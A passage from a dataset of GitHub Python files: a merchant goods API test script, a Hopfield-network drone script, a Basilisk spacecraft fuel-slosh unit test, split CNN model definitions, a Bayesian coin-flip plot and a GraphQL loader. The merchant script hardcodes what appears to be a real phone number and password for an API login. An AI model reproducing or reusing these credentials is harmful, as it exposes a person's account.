print(\"添加失败\")\n\n\n\n#根据商品ID来更新商品\n def updategoods(self,goodsid):\n data = {\n \"GoodsId\": goodsid,\n \"GoodsName\": \"updatepythontest\",\n \"GoodsNorms\": \"998\",\n \"PurchasePrice\": \"53\",\n \"OfferPrice\": \"23\",\n \"GoodsCount\": 23,\n \"Sort\": 4,\n \"GoodsImage\": \"http://qiniu.shenshoukeji.net/1223145628157671970591108c62b58894f2d1f69f1ae9016b94005.jpeg\",\n \"GoodsExplain\": \"121212\",\n \"GoodsDetails\": \"kok oko kok ok ok o开端\"\n }\n js=json.dumps(data)\n header = {\"Content-Type\": \"application/json\", 'Authorization': self.tokenid}\n respon=requests.post(self.sort+\"/api/Merchants/updategoods\",data=js,headers=header)\n print(respon.json())\n\n#删除商品\n def deletegoods(self,goodsid):\n header={\"Content-Type\":\"application/json\",'Authorization': self.tokenid}\n data={\"id\": goodsid}\n js=json.dumps(data)\n respon=requests.get(self.sort+\"/api/Merchants/DeleteGood\",headers=header,params=data)\n print(respon.json())\n\n\n#下架商品\n def upgoods(self,goodsid):\n data = {\"id\": goodsid}\n js = json.dumps(data)\n header = {\"Content-Type\": \"application/json\", 'Authorization': self.tokenid}\n requests.post(self.sort+\"/api/Merchants/updowngoods\",headers=header,data=js)\n\n\n#判断商品是否下架,如下架,则删除,如上架,则先下架再删除\n\n\n def checkdelete(self,goodslist,goodsid):\n if goodslist[0][\"Status\"]==\"已上架\":\n self.upgoods(goodsid)\n self.deletegoods(goodsid)\n else:\n self.deletegoods(goodsid)\n\n\n#\nd = log(\"13262849250\", \"a123321\", APIfa)\ntok=d.login()\ne=goods(tok,APIfa)\n# e.addgoods()\ngoodsid,goodslist=e.listgoods()\n#e.checkgoods()\n#e.updategoods(goodid)\n#e.upgoods(goodid)\ne.deletegoods(goodsid)\n#e.checkdelete(goodslist,goodsid)\n\n\n\n\n\n\n","repo_name":"lynn202003/testsss","sub_path":"jlsh/pylib/merchant.py","file_name":"merchant.py","file_ext":"py","file_size_in_byte":5040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12666007621","text":"\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image, ImageDraw\nimport matplotlib.pyplot as plt\nfrom djitellopy import Tello\n# Sigma sign function\ndef sign(x):\n if (x >= 0):\n return 1\n else:\n return -1\n\n# Calculates for the new network with weight\ndef run(network, weights):\n sizeofNet = len(network)\n new_network = np.zeros(sizeofNet)\n \n for i in range (sizeofNet):\n h = 0\n for j in range (sizeofNet):\n h += weights[i,j] * network[j]\n #print(\"ASDF\" +str(h))\n new_network[i] = sign(h)\n return new_network\n\nbipolarVector = []\nfor RUN in range (10):\n temp = np.loadtxt(\"csv/test\"+str(RUN)+\".csv\",\n delimiter=\",\", dtype=int)\n temp = np.delete(temp, 0, 0)\n bipolarVector.append(temp)\n #print(bipolarVector)\n \n#print(bipolarVector)\ndf2 = pd.DataFrame()\nfor RUN in range (1):\n n = 100\n pattern = 10\n \n fig = plt.figure()\n\n\n image = (bipolarVector[0].reshape(10, 10) + 1) / 2 # Map -1 to 0 and 1 to 1\n print(bipolarVector[0])\n plt.imshow(image, cmap='gray')\n plt.show()\n \n #for p in range(1, pattern+1):\n \n #imprint the weights up to pattern p\n weights = np.zeros((n, n)) \n \n for p2 in range(pattern):\n for i in range(n):\n for j in range(n):\n if i != j:\n weights[i, j] += bipolarVector[p2][i] * bipolarVector[p2][j] \n #(print(bipolarVector[p2]))\n weights /= n\n \n \n \n\n tello = Tello()\n \n tello.connect()\n tello.takeoff()\n \n tello.move_left(100)\n tello.rotate_counter_clockwise(90)\n tello.move_forward(100)\n \n tello.land()\n \n\n \n for i in range(10):\n new_network = run(bipolarVector[i], weights) \n if np.array_equal(bipolarVector[i], new_network):\n print(i)\n \n\n\n","repo_name":"jovanyoshioka/Hopfield-Drone","sub_path":"Read_Execute.py","file_name":"Read_Execute.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25062041509","text":"\nimport inspect\nimport os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pytest\n\nfilename = inspect.getframeinfo(inspect.currentframe()).filename\npath = os.path.dirname(os.path.abspath(filename))\n\nfrom Basilisk.utilities import SimulationBaseClass\nfrom Basilisk.utilities import unitTestSupport # general support file with common unit test functions\nfrom Basilisk.simulation import spacecraft\nfrom Basilisk.simulation import linearSpringMassDamper\nfrom Basilisk.simulation import gravityEffector\nfrom Basilisk.utilities import macros\nfrom Basilisk.utilities import pythonVariableLogger\nfrom Basilisk.simulation import fuelTank\nfrom Basilisk.simulation import thrusterDynamicEffector\nfrom Basilisk.utilities import simIncludeThruster\nfrom Basilisk.architecture import messaging\n\n@pytest.mark.parametrize(\"useFlag, testCase\", [\n (False,'NoGravity'),\n (False,'Gravity'),\n (False,'Damping'),\n (False,'MassDepletion')\n])\n\n# uncomment this line is this test is to be skipped in the global unit test run, adjust message as needed\n# @pytest.mark.skipif(conditionstring)\n# uncomment this line if this test has an expected failure, adjust message as needed\n# @pytest.mark.xfail() # need to update how the RW states are defined\n# provide a unique test method name, starting with test_\ndef test_fuelSloshAllTest(show_plots,useFlag,testCase):\n \"\"\"Module Unit Test\"\"\"\n [testResults, testMessage] = fuelSloshTest(show_plots,useFlag,testCase)\n assert testResults < 1, testMessage\n\ndef fuelSloshTest(show_plots,useFlag,testCase):\n # The __tracebackhide__ setting influences pytest showing of tracebacks:\n # the mrp_steering_tracking() function will not be shown unless the\n # --fulltrace command line option is specified.\n __tracebackhide__ = True\n\n testFailCount = 0 # zero unit test result counter\n testMessages = [] # create empty list to store test log messages\n \n scObject = spacecraft.Spacecraft()\n scObject.ModelTag = \"spacecraftBody\"\n \n unitTaskName = \"unitTask\" # arbitrary name (don't change)\n unitProcessName = \"TestProcess\" # arbitrary name (don't change)\n \n # Create a sim module as an empty container\n unitTestSim = SimulationBaseClass.SimBaseClass()\n \n # Create test thread\n testProcessRate = macros.sec2nano(0.001) # update process rate update time\n testProc = unitTestSim.CreateNewProcess(unitProcessName)\n testProc.addTask(unitTestSim.CreateNewTask(unitTaskName, testProcessRate))\n\n unitTestSim.particle1 = linearSpringMassDamper.LinearSpringMassDamper()\n unitTestSim.particle2 = linearSpringMassDamper.LinearSpringMassDamper()\n unitTestSim.particle3 = linearSpringMassDamper.LinearSpringMassDamper()\n\n # Define Variables for particle 1\n unitTestSim.particle1.k = 100.0\n unitTestSim.particle1.c = 0.0\n unitTestSim.particle1.r_PB_B = [[0.1], [0], [-0.1]]\n unitTestSim.particle1.pHat_B = [[np.sqrt(3)/3], [np.sqrt(3)/3], [np.sqrt(3)/3]]\n unitTestSim.particle1.rhoInit = 0.05\n unitTestSim.particle1.rhoDotInit = 0.0\n unitTestSim.particle1.massInit = 10.0\n\n # Define Variables for particle 2\n unitTestSim.particle2.k = 100.0\n unitTestSim.particle2.c = 0.0\n unitTestSim.particle2.r_PB_B = [[0], [0], [0.1]]\n unitTestSim.particle2.pHat_B = [[np.sqrt(3)/3], [-np.sqrt(3)/3], [-np.sqrt(3)/3]]\n unitTestSim.particle2.rhoInit = -0.025\n unitTestSim.particle2.rhoDotInit = 0.0\n unitTestSim.particle2.massInit = 20.0\n\n # Define Variables for particle 3\n unitTestSim.particle3.k = 100.0\n unitTestSim.particle3.c = 0.0\n unitTestSim.particle3.r_PB_B = [[-0.1], [0], [0.1]]\n unitTestSim.particle3.pHat_B = [[-np.sqrt(3)/3], [-np.sqrt(3)/3], [np.sqrt(3)/3]]\n unitTestSim.particle3.rhoInit = -0.015\n unitTestSim.particle3.rhoDotInit = 0.0\n unitTestSim.particle3.massInit = 15.0\n\n if testCase == 'MassDepletion':\n thrusterCommandName = \"acs_thruster_cmds\"\n # add thruster devices\n thFactory = simIncludeThruster.thrusterFactory()\n thFactory.create('MOOG_Monarc_445',\n [1,0,0], # location in S frame\n [0,1,0] # direction in S frame\n )\n\n # create thruster object container and tie to spacecraft object\n thrustersDynamicEffector = thrusterDynamicEffector.ThrusterDynamicEffector()\n thFactory.addToSpacecraft(\"Thrusters\",\n thrustersDynamicEffector,\n scObject)\n\n unitTestSim.fuelTankStateEffector = fuelTank.FuelTank()\n unitTestSim.fuelTankStateEffector.setTankModel(fuelTank.TANK_MODEL_CONSTANT_VOLUME)\n tankModel = fuelTank.cvar.FuelTankModelConstantVolume\n tankModel.propMassInit = 40.0\n tankModel.r_TcT_TInit = [[0.0],[0.0],[0.0]]\n unitTestSim.fuelTankStateEffector.r_TB_B = [[0.0],[0.0],[0.0]]\n tankModel.radiusTankInit = 46.0 / 2.0 / 3.2808399 / 12.0\n\n # Add tank and thruster\n scObject.addStateEffector(unitTestSim.fuelTankStateEffector)\n unitTestSim.fuelTankStateEffector.addThrusterSet(thrustersDynamicEffector)\n\n # set thruster commands\n ThrustMessage = messaging.THRArrayOnTimeCmdMsgPayload()\n ThrustMessage.OnTimeRequest = [5.0]\n thrInMsg = messaging.THRArrayOnTimeCmdMsg().write(ThrustMessage)\n thrustersDynamicEffector.cmdsInMsg.subscribeTo(thrInMsg)\n\n # Add test module to runtime call list\n unitTestSim.AddModelToTask(unitTaskName, unitTestSim.fuelTankStateEffector)\n unitTestSim.AddModelToTask(unitTaskName, thrustersDynamicEffector)\n dataTank = unitTestSim.fuelTankStateEffector.fuelTankOutMsg.recorder()\n unitTestSim.AddModelToTask(unitTaskName, dataTank)\n\n # Add particles to tank to activate mass depletion\n unitTestSim.fuelTankStateEffector.pushFuelSloshParticle(unitTestSim.particle1)\n unitTestSim.fuelTankStateEffector.pushFuelSloshParticle(unitTestSim.particle2)\n unitTestSim.fuelTankStateEffector.pushFuelSloshParticle(unitTestSim.particle3)\n\n # Add particles to spacecraft\n scObject.addStateEffector(unitTestSim.particle1)\n scObject.addStateEffector(unitTestSim.particle2)\n scObject.addStateEffector(unitTestSim.particle3)\n\n if testCase == 'Damping':\n unitTestSim.particle1.c = 15.0\n unitTestSim.particle2.c = 17.0\n unitTestSim.particle3.c = 11.0\n \n # Add test module to runtime call list\n unitTestSim.AddModelToTask(unitTaskName, scObject)\n\n scObject.hub.mHub = 750\n scObject.hub.r_BcB_B = [[0.0], [0.0], [0.0]]\n scObject.hub.IHubPntBc_B = [[900.0, 0.0, 0.0], [0.0, 800.0, 0.0], [0.0, 0.0, 600.0]]\n scObject.hub.r_CN_NInit = [[0.5], [0.4], [-0.7]]\n scObject.hub.v_CN_NInit = [[0.1], [0.-5], [0.3]]\n scObject.hub.sigma_BNInit = [[0.0], [0.0], [0.0]]\n scObject.hub.omega_BN_BInit = [[0.1], [-0.1], [0.1]]\n\n if testCase == 'Gravity':\n unitTestSim.earthGravBody = gravityEffector.GravBodyData()\n unitTestSim.earthGravBody.planetName = \"earth_planet_data\"\n unitTestSim.earthGravBody.mu = 0.3986004415E+15 # meters!\n unitTestSim.earthGravBody.isCentralBody = True\n unitTestSim.earthGravBody.useSphericalHarmParams = False\n scObject.gravField.gravBodies = spacecraft.GravBodyVector([unitTestSim.earthGravBody])\n scObject.hub.r_CN_NInit = [[-4020338.690396649],\t[7490566.741852513],\t[5248299.211589362]]\n scObject.hub.v_CN_NInit = [[-5199.77710904224],\t[-3436.681645356935],\t[1041.576797498721]]\n\n dataLog = scObject.scStateOutMsg.recorder()\n unitTestSim.AddModelToTask(unitTaskName, dataLog)\n\n scObjectLog = scObject.logger([\"totOrbEnergy\", \"totOrbAngMomPntN_N\", \"totRotAngMomPntC_N\", \"totRotEnergy\"])\n unitTestSim.AddModelToTask(unitTaskName, scObjectLog)\n\n if testCase == 'MassDepletion':\n stateLog = pythonVariableLogger.PythonVariableLogger({\n \"mass1\": lambda _: scObject.dynManager.getStateObject('linearSpringMassDamperMass1').getState(),\n \"mass2\": lambda _: scObject.dynManager.getStateObject('linearSpringMassDamperMass2').getState(),\n \"mass3\": lambda _: scObject.dynManager.getStateObject('linearSpringMassDamperMass3').getState(),\n })\n unitTestSim.AddModelToTask(unitTaskName, stateLog)\n\n unitTestSim.InitializeSimulation()\n\n posRef = scObject.dynManager.getStateObject(\"hubPosition\")\n sigmaRef = scObject.dynManager.getStateObject(\"hubSigma\")\n\n stopTime = 2.5\n if testCase == 'MassDepletion':\n stopTime = 10.0\n\n unitTestSim.ConfigureStopTime(macros.sec2nano(stopTime))\n unitTestSim.ExecuteSimulation()\n\n if testCase == 'MassDepletion':\n fuelMass = dataTank.fuelMass\n fuelMassDot = dataTank.fuelMassDot\n mass1Out = unitTestSupport.addTimeColumn(stateLog.times(), stateLog.mass1)\n mass2Out = unitTestSupport.addTimeColumn(stateLog.times(), stateLog.mass2)\n mass3Out = unitTestSupport.addTimeColumn(stateLog.times(), stateLog.mass3)\n\n orbEnergy = unitTestSupport.addTimeColumn(scObjectLog.times(), scObjectLog.totOrbEnergy)\n orbAngMom_N = unitTestSupport.addTimeColumn(scObjectLog.times(), scObjectLog.totOrbAngMomPntN_N)\n rotAngMom_N = unitTestSupport.addTimeColumn(scObjectLog.times(), scObjectLog.totRotAngMomPntC_N)\n rotEnergy = unitTestSupport.addTimeColumn(scObjectLog.times(), scObjectLog.totRotEnergy)\n\n initialOrbAngMom_N = [\n [orbAngMom_N[0,1], orbAngMom_N[0,2], orbAngMom_N[0,3]]\n ]\n\n finalOrbAngMom = [\n [orbAngMom_N[-1,1], orbAngMom_N[-1,2], orbAngMom_N[-1,3]]\n ]\n\n initialRotAngMom_N = [\n [rotAngMom_N[0,1], rotAngMom_N[0,2], rotAngMom_N[0,3]]\n ]\n\n finalRotAngMom = [\n [rotAngMom_N[-1,1], rotAngMom_N[-1,2], rotAngMom_N[-1,3]]\n ]\n\n initialOrbEnergy = [\n [orbEnergy[0,1]]\n ]\n\n finalOrbEnergy = [\n [orbEnergy[-1,1]]\n ]\n\n initialRotEnergy = [\n [rotEnergy[0,1]]\n ]\n\n finalRotEnergy = [\n [rotEnergy[-1,1]]\n ]\n\n plt.close('all')\n if testCase != 'MassDepletion':\n plt.figure()\n plt.clf()\n plt.plot(orbAngMom_N[:,0]*1e-9, (orbAngMom_N[:,1] - orbAngMom_N[0,1])/orbAngMom_N[0,1], orbAngMom_N[:,0]*1e-9, (orbAngMom_N[:,2] - orbAngMom_N[0,2])/orbAngMom_N[0,2], orbAngMom_N[:,0]*1e-9, (orbAngMom_N[:,3] - orbAngMom_N[0,3])/orbAngMom_N[0,3])\n plt.xlabel(\"Time (s)\")\n plt.ylabel(\"Relative Difference\")\n unitTestSupport.writeFigureLaTeX(\"ChangeInOrbitalAngularMomentum\" + testCase, \"Change in Orbital Angular Momentum \" + testCase, plt, r\"width=0.8\\textwidth\", path)\n plt.figure()\n plt.clf()\n plt.plot(orbEnergy[:,0]*1e-9, (orbEnergy[:,1] - orbEnergy[0,1])/orbEnergy[0,1])\n plt.xlabel(\"Time (s)\")\n plt.ylabel(\"Relative Difference\")\n unitTestSupport.writeFigureLaTeX(\"ChangeInOrbitalEnergy\" + testCase, \"Change in Orbital Energy \" + testCase, plt, r\"width=0.8\\textwidth\", path)\n plt.figure()\n plt.clf()\n plt.plot(rotAngMom_N[:,0]*1e-9, (rotAngMom_N[:,1] - rotAngMom_N[0,1])/rotAngMom_N[0,1], rotAngMom_N[:,0]*1e-9, (rotAngMom_N[:,2] - rotAngMom_N[0,2])/rotAngMom_N[0,2], rotAngMom_N[:,0]*1e-9, (rotAngMom_N[:,3] - rotAngMom_N[0,3])/rotAngMom_N[0,3])\n plt.xlabel(\"Time (s)\")\n plt.ylabel(\"Relative Difference\")\n unitTestSupport.writeFigureLaTeX(\"ChangeInRotationalAngularMomentum\" + testCase, \"Change in Rotational Angular Momentum \" + testCase, plt, r\"width=0.8\\textwidth\", path)\n if testCase == 'Gravity' or testCase == 'NoGravity':\n plt.figure()\n plt.clf()\n plt.plot(rotEnergy[:,0]*1e-9, (rotEnergy[:,1] - rotEnergy[0,1])/rotEnergy[0,1])\n plt.xlabel(\"Time (s)\")\n plt.ylabel(\"Relative Difference\")\n unitTestSupport.writeFigureLaTeX(\"ChangeInRotationalEnergy\" + testCase, \"Change in Rotational Energy \" + testCase, plt, r\"width=0.8\\textwidth\", path)\n if testCase == 'MassDepletion':\n plt.figure()\n plt.plot(dataTank.times()*1e-9, fuelMass)\n plt.title(\"Tank Fuel Mass\")\n plt.figure()\n plt.plot(dataTank.times()*1e-9, fuelMassDot)\n plt.title(\"Tank Fuel Mass Dot\")\n plt.figure()\n plt.plot(mass1Out[:,0]*1e-9, mass1Out[:,1])\n plt.title(\"Fuel Particle 1 Mass\")\n plt.figure()\n plt.plot(mass2Out[:,0]*1e-9, mass2Out[:,1])\n plt.title(\"Fuel Particle 2 Mass\")\n plt.figure()\n plt.plot(mass3Out[:,0]*1e-9, mass3Out[:,1])\n plt.title(\"Fuel Particle 3 Mass\")\n mDotFuel = -0.19392039093\n mDotParicle1True = mDotFuel*(10./85.)\n mDotParicle2True = mDotFuel*(20./85.)\n mDotParicle3True = mDotFuel*(15./85.)\n mDotParicle1Data = (mass1Out[2,1] - mass1Out[1,1])/((mass1Out[2,0] - mass1Out[1,0])*1e-9)\n mDotParicle2Data = (mass2Out[2,1] - mass2Out[1,1])/((mass2Out[2,0] - mass2Out[1,0])*1e-9)\n mDotParicle3Data = (mass3Out[2,1] - mass3Out[1,1])/((mass3Out[2,0] - mass3Out[1,0])*1e-9)\n\n if show_plots:\n plt.show()\n plt.close('all')\n\n if testCase != 'MassDepletion':\n accuracy = 1e-10\n for i in range(0,len(initialOrbAngMom_N)):\n # check a vector values\n if not unitTestSupport.isArrayEqualRelative(finalOrbAngMom[i],initialOrbAngMom_N[i],3,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed orbital angular momentum unit test\")\n\n for i in range(0,len(initialRotAngMom_N)):\n # check a vector values\n if not unitTestSupport.isArrayEqualRelative(finalRotAngMom[i],initialRotAngMom_N[i],3,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed rotational angular momentum unit test\")\n\n if testCase == 'Gravity' or testCase == 'NoGravity':\n for i in range(0,len(initialRotEnergy)):\n # check a vector values\n if not unitTestSupport.isArrayEqualRelative(finalRotEnergy[i],initialRotEnergy[i],1,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed rotational energy unit test\")\n\n for i in range(0,len(initialOrbEnergy)):\n # check a vector values\n if not unitTestSupport.isArrayEqualRelative(finalOrbEnergy[i],initialOrbEnergy[i],1,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed orbital energy unit test\")\n\n if testCase == 'MassDepletion':\n accuracy = 1e-4\n if not unitTestSupport.isDoubleEqual(mDotParicle1Data,mDotParicle1True,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed mass 1 dot test\")\n if not unitTestSupport.isDoubleEqual(mDotParicle2Data,mDotParicle2True,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed mass 2 dot test\")\n if not unitTestSupport.isDoubleEqual(mDotParicle3Data,mDotParicle3True,accuracy):\n testFailCount += 1\n testMessages.append(\"FAILED: Linear Spring Mass Damper unit test failed mass 3 dot test\")\n\n if testFailCount == 0:\n print(\"PASSED: \" + \" Linear Spring Mass Damper Test\")\n\n assert testFailCount < 1, testMessages\n # return fail count and join into a single string all messages in the list\n # testMessage\n return [testFailCount, ''.join(testMessages)]\n\nif __name__ == \"__main__\":\n fuelSloshTest(True,False,'Gravity')\n","repo_name":"AVSLab/basilisk","sub_path":"src/simulation/dynamics/LinearSpringMassDamper/_UnitTest/test_linearSpringMassDamper.py","file_name":"test_linearSpringMassDamper.py","file_ext":"py","file_size_in_byte":15925,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"11"} +{"seq_id":"35754899109","text":"import math\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\n\ndef create_model_instance(dataset_type, model_type, class_num=10):\n # return VGG9()\n # return EMNIST_CNN1(),EMNIST_CNN2()\n return AlexNet_DF1(),AlexNet_DF2()\n # return IMAGE100_VGG16_1(),IMAGE100_VGG16_2()\n\nclass AlexNet_DF1(nn.Module):\n def __init__(self):\n super(AlexNet_DF1, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(64, 192, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n\n def forward(self, x):\n x = self.features(x)\n return x\n \nclass AlexNet_DF2(nn.Module):\n def __init__(self, class_num=10):\n super(AlexNet_DF2, self).__init__()\n \n # self.f2= nn.Sequential(\n \n # )\n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(256 * 4 * 4, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(inplace=True),\n nn.Linear(4096, class_num),\n )\n\n def forward(self, x):\n # x = self.f2(x)\n x = x.view(x.size(0), 256 * 4 * 4)\n x = self.classifier(x)\n return x\n\nclass EMNIST_CNN1(nn.Module):\n def __init__(self):\n super(EMNIST_CNN1,self).__init__()\n\n self.conv1 = nn.Sequential( \n nn.Conv2d(1,32,5,1,2),\n nn.ReLU(),\n nn.MaxPool2d(2,2)\n )\n\n self.conv2 = nn.Sequential( \n nn.Conv2d(32,64,5,1,2),\n nn.ReLU(),\n nn.MaxPool2d(2,2)\n )\n\n def forward(self,x):\n out_conv1 = self.conv1(x)\n out_conv2 = self.conv2(out_conv1)\n return out_conv2\n\nclass EMNIST_CNN2(nn.Module):\n def __init__(self):\n super(EMNIST_CNN2,self).__init__()\n self.fc1 = nn.Linear(7*7*64,512)\n self.fc2 = nn.Linear(512, 62)\n\n def forward(self,out_conv2):\n output = out_conv2.view(-1,7*7*64)\n output = F.relu(self.fc1(output))\n output = self.fc2(output)\n return output\n\nclass IMAGE100_VGG16_1(nn.Module):\n def __init__(self, class_num=100):\n super(IMAGE100_VGG16_1, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(2,2),\n \n nn.Conv2d(64, 128, kernel_size=3, padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.Conv2d(128, 128, kernel_size=3,padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(2,2),\n \n nn.Conv2d(128, 256, kernel_size=3,padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3,padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256,kernel_size=3,padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(2,2),\n \n nn.Conv2d(256, 512, kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(2,2,padding=1),\n \n nn.Conv2d(512, 512, kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512, kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.Conv2d(512, 512,kernel_size=3,padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(2,2),\n )\n def forward(self, x):\n x = self.features(x)\n return x\n\nclass IMAGE100_VGG16_2(nn.Module):\n def __init__(self, class_num=100):\n super(IMAGE100_VGG16_2, self).__init__()\n self.classifier = nn.Sequential(\n nn.Linear(512*25, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(),\n nn.Linear(4096, 100)\n )\n\n def forward(self, x):\n x = x.view(x.size(0), 512*25)\n x = self.classifier(x)\n return x\n","repo_name":"ymliao98/AdaSFL","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"29946559644","text":"#Sophia Cofone, 12/11/21, finalproject CS5002, coin flip binomial distribution\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.special import comb\n\ndef likelihood(trials,heads):\n #creating an array that holds all the values from 0-1 in 0.01 increments (this is all the possible models)\n theta = np.arange(0,1,0.01)\n #likelihood: comb gives us the coefficient for the binomial eq. the rest of this is the binomial eq.\n p_p = comb(trials,heads)*(theta**heads)*(1-theta)**(trials-heads)\n return theta,p_p\n\ndef gauss(prior_avg,prior_sig):\n #creating an array that holds all the values from 0-1 in 0.01 increments (this is all the possible models)\n theta = np.arange(0,1,0.01)\n #calculates probability for all values of theta (binomial)\n p_p = np.exp(-(theta-prior_avg)**2/(2*prior_sig**2))\n #normalizing this\n p_norm = p_p/sum(p_p)\n\n return theta,p_norm\n\ndef posterior_normprior(trials, heads, prior_avg, prior_sig):\n #creating an array that holds all the values from 0-1 in 0.01 increments (this is all the possible models)\n theta = np.arange(0,1,0.01)\n #binomial likelihood * gaussian prior \n p_p = ((theta**heads)*(1-theta)**(trials-heads))*np.exp(-(theta-prior_avg)**2/(2*prior_sig**2))\n #normalizing this\n p_norm = p_p/sum(p_p)\n\n return theta,p_norm\n\ndef main():\n #setting the probability (.5 for unbiased coin)\n p = .8\n\n #determing the number of flips\n trial1 = 25\n trial2 = 100\n trial3 = 1000\n\n #setting our prior avg and prior sig\n prior_avg = .5\n prior_sig = .03\n\n #determining the values to be plotted\n #first is the prior\n xp1,yp1 = gauss(prior_avg,prior_sig)\n\n #then the trials\n #The binomial function selects a random point on the binombial distribution to be the number of heads\n #This is just to create some relaistc simulated data\n x,y = posterior_normprior(trial1,np.random.binomial(trial1,p),prior_avg,prior_sig)\n x2,y2 = posterior_normprior(trial2,np.random.binomial(trial2,p),prior_avg,prior_sig)\n x3,y3 = posterior_normprior(trial3,np.random.binomial(trial3,p),prior_avg,prior_sig)\n\n #setting up the plot\n fig,ax = plt.subplots()\n plt.title(\"Posterior\")\n ax.set_xlabel('θ')\n ax.set_ylabel('P')\n\n #plotting prior\n ax.plot(xp1,yp1,label='prior')\n #plotting trial 1\n ax.plot(x,y,label='{} flips'.format(trial1))\n #plotting trial 2\n ax.plot(x2,y2,label='{} flips'.format(trial2))\n #plotting trial 3\n ax.plot(x3,y3,label='{} flips'.format(trial3))\n #showing the plot\n ax.legend()\n plt.show()\n\nmain()","repo_name":"sophiacofone/Bayes-Rule-Visualization-Spotify","sub_path":"coin_flip/coin_bayes.py","file_name":"coin_bayes.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"44543535295","text":"from os.path import abspath\n\nfrom graphql import build_schema\n\nfrom schemy.graphql.utils import map_schema_types, map_schema_queries\n\n__all__ = ['GraphQl']\n\n\nclass GraphQl:\n def __init__(self, sdl_path:str = None):\n self.sdl = None\n self.schema = None\n self.sdl_path = sdl_path\n if self.sdl_path:\n self.build()\n\n def build(self, sdl_path=None):\n self.schema = None\n if not sdl_path:\n sdl_path = self.sdl_path\n try:\n filepath = abspath(sdl_path)\n with open(filepath, 'r') as f:\n self.sdl = f.read()\n self.schema = build_schema(self.sdl)\n f.close()\n except OSError:\n raise OSError('GraphQl Schema file not found')\n except TypeError:\n raise TypeError('The GraphQl Schema is not valid')\n\n return self.schema\n\n def map_types(self, ignore=['Query', 'Mutation']):\n if self.schema:\n return map_schema_types(self.schema, ignore)\n else:\n raise TypeError('Schema is empty, you must load a valid schema')\n\n def map_queries(self, base='Query'):\n if self.schema:\n return map_schema_queries(self.schema, base)\n else:\n raise TypeError('Schema is empty, you must load a valid schema')\n","repo_name":"x0y-gt/schemy","sub_path":"schemy/graphql/graphql.py","file_name":"graphql.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71817634586","text":"import pandas\n\nimport utils.log_util as logger\nfrom utils.transformation_util import TransformationUtil\n\n\nclass CheckUtil:\n @staticmethod\n def check_duplicates(dataframe, check_column=False, check_row=False):\n \"\"\"\n Checks duplicates on column direction or row direction\n Args:\n dataframe: input data frame to be checked\n check_column: boolean value True: check, False: not check\n check_row: boolean value True: check, False: not check\n\n Returns:\n NA\n \"\"\"\n # checks if dataframe contains duplicate columns\n if check_column is True:\n dataframe_transpose = dataframe.T\n dataframe_row_dedup = dataframe_transpose[~dataframe_transpose.index.duplicated()]\n row_count_diff = len(dataframe_transpose.index) - 